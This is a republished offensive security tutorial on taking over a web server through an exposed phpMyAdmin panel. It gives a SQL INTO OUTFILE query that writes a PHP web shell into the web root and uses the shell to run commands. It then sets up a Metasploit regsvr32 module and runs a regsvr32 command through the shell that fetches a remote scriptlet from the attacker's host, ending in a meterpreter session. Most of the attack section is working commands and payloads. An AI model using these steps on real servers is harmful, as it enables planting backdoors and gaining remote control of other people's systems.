未加星标

Shell Uploading in Web Server through PhpMyAdmin

字体大小 | |
[数据库(mysql) 所属分类 数据库(mysql) | 发布者 店小二05 | 时间 2017 | 作者 红领巾 ] 0人收藏点击收藏

In this tutorial we will learn how to exploit a web server if we foundphpmyadmin panel has been left open. Here I will try to exploit phpmyadmin which is running inside the localhost “xampp” by generating a SQL query to execute malicious code and then make an effort to access the shell of victim’s Pc.

PhpMyAdmin is a free software tool written inPHP, intended to handle the administration ofmysqlover the Web. phpMyAdmin supports a wide range of operations on MySQL and MariaDB. Frequently used operations (managing databases, tables, columns, relations, indexes, users, permissions, etc) can be performed via the user interface, while you still have the ability to directly execute any SQL statement.

Features

Intuitive web interface Support for most MySQL features: browse and drop databases, tables, views, fields and indexes create, copy, drop, rename and alter databases, tables, fields and indexes maintenance server, databases and tables, with proposals on server configuration execute, edit and bookmark anySQL-statement, even batch-queries manage MySQL user accounts and privileges manage stored procedures and triggers Import data fromCSVandSQL Export data to various formats:CSV,SQL,XML,PDF,ISO/IEC26300 OpenDocument Text and Spreadsheet,Word, L A T E X and others Administering multiple servers Creating graphics of your database layout in various formats Creating complex queries using Query-by-example (QBE) Searching globally in a database or a subset of it Transforming stored data into any format using a set of predefined functions, like displaying BLOB-data as image or download-link

For information visit: https://www.phpmyadmin.net

Lets start!!!

Open the localhost address: 192.168.1.101:81 in the browser and select the option phpmyadmin from the given list of xampp as shown the following screenshot.


Shell Uploading in Web Server through PhpMyAdmin

When you come into PhpMyAdmin application, here you will find different areas. On the left side of the screen you can see the list of database names. As we are inside the administration console where we can perform multiple tasks which I have defined above therefore I am going to create a new database

Now click on new to create a database.


Shell Uploading in Web Server through PhpMyAdmin

Give name to your database as I have given Ignite technologies and click on create .


Shell Uploading in Web Server through PhpMyAdmin

Now you can see the database ignite technologies has been added in the list of databases.


Shell Uploading in Web Server through PhpMyAdmin

Clickon ignite technologies database to construct MYSQL query inside your database. Hence click on SQL tab where you can enter the SQL query code.


Shell Uploading in Web Server through PhpMyAdmin

Clickon ignite technologies database to construct MYSQL query inside your database. Hence click on SQL tab where you can enter the SQL query code.


Shell Uploading in Web Server through PhpMyAdmin

Now this is interesting part because here I am going to execute a malicious code as SQL query which will create a command shell vulnerability inside the web server.

SELECT “<?php system($_GET[‘cmd’]); ?>” into outfile “C:\\xampp\\htdocs\\backdoor.php”

In the following screenshot you can see I have given above malicious php code as SQL query and then click on GO tab to execute it.


Shell Uploading in Web Server through PhpMyAdmin

Now type following URL to find whether we are successful or not in order to create OS command shell vulnerability.

http://192.168.1.101:81/backdoor.php

Awesome!!!You can see it has given warning which means we had successfully created OS command shell vulnerability.


Shell Uploading in Web Server through PhpMyAdmin

http://192.168.1.101:81/backdoor.php?cmd=dir

When you execute above URL in the browser you will get the information of victim‘s PC directories.


Shell Uploading in Web Server through PhpMyAdmin

Next step will to achieve meterpreter session of victim’s Pc. Open other terminal in kali linux and type following command.

msfconsole

msf > use exploit/windows/misc/regsvr32_applocker_bypass_server

msf exploit( regsvr32_applocker_bypass_server ) > set lhost 192.168.1.104

msf exploit( regsvr32_applocker_bypass_server ) > set lport 4444

msf exploit( regsvr32_applocker_bypass_server ) > exploit

Copy the selected part for dll file and use this malicious code as the command inside the URL.

regsvr32 /s /n /u / i:http://192.168.1.104:8080/sVW72p3IRZBScv.sct%20scrobj.dll


Shell Uploading in Web Server through PhpMyAdmin

Paste the above code the URL and execute it which will give meterpreter session on metasploit

http://192.168.1.101:81/backdoor.php?cmd= regsvr32 /s /n /u / i:http://192.168.1.104:8080/sVW72p3IRZBScv.sct%20scrobj.dll


Shell Uploading in Web Server through PhpMyAdmin

From following screenshot you can see meterpreter session 1 opened.


Shell Uploading in Web Server through PhpMyAdmin

Sessions i 1

Meterpreter>sysinfo


Shell Uploading in Web Server through PhpMyAdmin

Author : AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

本文数据库(mysql)相关术语:navicat for mysql mysql workbench mysql数据库 mysql 存储过程 mysql安装图解 mysql教程 mysql 管理工具

主题: SQLMySQLXMLPHPLinuxWordIntuit
分页:12
转载请注明
本文标题:Shell Uploading in Web Server through PhpMyAdmin
本站链接:http://www.codesec.net/view/529637.html
分享请点击:


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | 数据库(mysql) | 评论(0) | 阅读(17)